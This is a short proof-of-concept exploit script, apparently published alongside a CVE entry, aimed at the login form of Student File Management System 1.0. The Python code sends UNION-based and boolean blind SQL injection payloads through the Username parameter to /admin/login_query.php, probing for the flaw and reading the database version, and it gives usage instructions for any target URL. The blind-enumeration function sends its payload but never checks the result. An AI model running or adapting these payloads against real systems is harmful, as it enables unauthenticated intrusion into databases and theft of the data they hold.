CVE-2025-14620: Student File Management System 1.0 SQL注入漏洞

import requests import sys # CVE-2025-14620 PoC - SQL Injection in Student File Management System 1.0 # Target: /admin/login_query.php # Vulnerability: Unauthenticated SQL Injection via Username parameter def exploit_sqli(target_url): """ Exploit SQL injection vulnerability in login form Target parameter: Username """ # SQL Injection payload to extract database information # Using UNION-based injection to confirm vulnerability payload = "' UNION SELECT 1,2,3,4,5,6,7,8-- -" data = { 'Username': payload, 'Password': 'anything', 'login': '' } try: response = requests.post(target_url, data=data, timeout=10) # Check for SQL error indicators or successful injection if 'sql' in response.text.lower() or 'error' in response.text.lower(): print(f"[+] Potential SQL Injection detected at {target_url}") print(f"[+] Payload: {payload}") return True elif response.status_code == 200: print(f"[*] Request sent, check response manually") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False def blind_sqli_enum(target_url): """ Blind SQL injection to enumerate database Extract database version and user """ # Payload to extract database version via boolean-based blind SQLi payload_version = "' AND (SELECT SUBSTRING(@@version,1,1))=5-- -" data = { 'Username': payload_version, 'Password': 'test', 'login': '' } try: response = requests.post(target_url, data=data, timeout=10) # If response indicates true condition, database is MySQL 5.x print(f"[*] Blind SQLi payload sent: {payload_version}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-14620.py <target_url>") print("Example: python cve-2025-14620.py http://target.com/admin/login_query.php") sys.exit(1) target = sys.argv[1] print(f"[*] Testing CVE-2025-14620 on {target}") exploit_sqli(target)